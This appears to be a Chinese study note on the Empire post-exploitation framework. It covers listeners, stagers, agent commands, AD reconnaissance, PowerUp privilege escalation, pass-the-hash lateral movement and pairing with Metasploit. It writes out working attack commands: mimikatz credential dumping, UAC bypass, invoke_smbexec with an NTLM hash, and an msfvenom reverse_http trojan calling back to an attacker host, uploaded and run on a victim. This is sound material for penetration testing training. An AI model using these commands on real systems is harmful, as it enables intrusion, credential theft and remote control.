目录
3.1. situational awareness态势感知,也就是信息收集
3.2. Credentials and privilege escalation 权限提升和凭证获取
前言
本文通过学习整理了empire4的使用,empire是内网渗透工具,专注于AD域环境,也是后渗透利用工具,文章待继续完善。
一、工具使用
1.基本使用
1)help
查看帮助,关注listeners,stagers,agetns,modules几个。
2)Listeners and Stagers
Listeners相当于metasploit的exploit/multi/handler模块。侦听器接受来自各个empire代理的入站连接。
stagers是empire生成的一小段代码,在受害者上执行,并连接回侦听器,它们在受害者和攻击者之间建立连接,并执行额外的任务,以使staged payload的转移更容易。
3)listeners 查看侦听器
4)info查看信息
5)Options 选项
6)uselistener 创建侦听器
7)http侦听器
http侦听器是最基本(常用)的listeners,与metasploit中的windows/meterpreter/reverse_http payload一样。通过一系列HTTP GET和POST请求进行通信,以模拟合法的http流量。
redirector侦听器也值得一提,因为它创建了一个pivot(枢纽),允许通过被破坏的主机与内部网络通信。
http侦听器选项:
(1)Name
(2)Host
(3)Port
(4)DefaultDelay视图通过设置从受害主机到侦听器的等待间隔(callback时间)来模拟更多合法的HTTP流量。通过将DefaultDelay设置为随机偏移量,DefaultJitter(抖动)使流量看起来不那么程序化地生成。
(5)KillDate将在指定日期自动终止所有受害主机上的监听器。这在渗透测试后进行清理时特别有用。
8)Stagers
windwos平台的利用代码支持标准的DLL(动态链接库)注入、HTML应用、office宏、USB橡皮等。
stager是一个base64编码的powershell命令字符串。This first-state paylolad将连接到侦听器并获取empire代理代码的其余部分。
【案例】windows批处理
usestager windows/launcher_bat
set Listener http 调用之前创建的侦听器
Execute
2.agent代理
代理只是stage检索到的最后有效载荷,它允许我们执行命令并与系统交互;
一旦代理在目标上运行,它将使用HTTP GET和POST请求的数据部分与侦听器建立一个aes加密的通信通道。
2.1. agent代理操作命令
(1)rename 对代理重新命名
(2)kill 移除指定代理,比如kill win2008
(3)ineract win2008 切换到指定agent
2.2. 连入agent后的命令
(1)info 查看系统信息
(2)shell ipconfig 执行/shell ‘del file1’
(3)upload /usr/share/nc.exe 上传文件到目标主机
(4)download file1 默认下载目录:/var/lib/powershell-empire/downloads/代理名
(5)sc 抓取屏幕
(6)mimikatz 获取用户登陆凭证
(7)ps 查看进程列表
(8)psinject 迁移进程,用来伪装进程。(这个整理成文档发布csdn)
(9)bypassuac,绕过用户账户控制
(10)spawn 复制一个代理或者克隆一个代理。
3.三大类模块
Empire agent的强大功能在于框架提供的各种模块。我们可以通过运行usemodule来列出所有可用的模块。 模块分为多个类别,但也包括基本功能,如键盘记录、屏幕截图和文件下载。
3.1. situational awareness态势感知,也就是信息收集
(1)主机存活探测
powershell/situational_awareness/network/arpscan模块
Set CIDR 192.168.101.0/24
Execute
或者
set Range 192.168.101.1-192.168.101.10
Execute
(2)端口扫描
Powershell/situational_awareness/network/portscan
(3)收集用户信息
Powershell/situational_awareness/network/powerview/get_user
(4)定位域管理员
Powershell/situational_awareness/network/powerview/user_hunter
备注:如果NeedsAdmin字段设置为“True”,则脚本需要本地管理员权限。如果OpsecSafe字段设置为True,脚本将避免留下compromise的提示,如临时磁盘文件货新用户账户。这种隐形驱动的方法更有可能避开端点保护机制。
3.2. Credentials and privilege escalation 权限提升和凭证获取
powerup是一个用于windows本地提权的powershell工具,它使用了几种基于错误配置的技术,如未引用的服务路径、对服务可执行文件的不适当权限、错误的注册表配置、DLL支持等等。
模块:powershell/privesc/powerup/allchecks
3.3. Lateral movement 内网横向移动
【案例】
usemodule powershell/lateral_movement/invoke_smbexec
set ComputerName test
set Username administrator
set Hash xxxxxxxxxxxxxxxxxxxxxxxx
set Domain test.com.cn
set Listener http
execute
前提:如何获得用户的有效凭证
用户名
口令NTLM的hash
比如可以使用mimikatz获取,命令如下:
Usemodule powershell/credentials/mimikatz/command
Execute
4.Empire+matesploit联合使用
【案例】
比如先拿到了empire会话,过程如下:
(1)利用msfvenom生成一个木马程序
Msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.101.100 LPORT=7777 -f exe -o abc.exe
(2)启动msf
Use exploit/multi/handler
Set payload windows/meterpreter/reverse_http
Set LHOST 192.168.101.100
Set LPORT 7777
Exploit
(3)从empire的agent使用upload上传abc.exe到受害主机
(4)empire的agent执行shell abc.exe
如果先拿到了matesploit会话,则在matesploit会话上上传empire生成的launcher_bat脚本,在受害机上执行launcher_bat脚本,可以使empire的agent上线。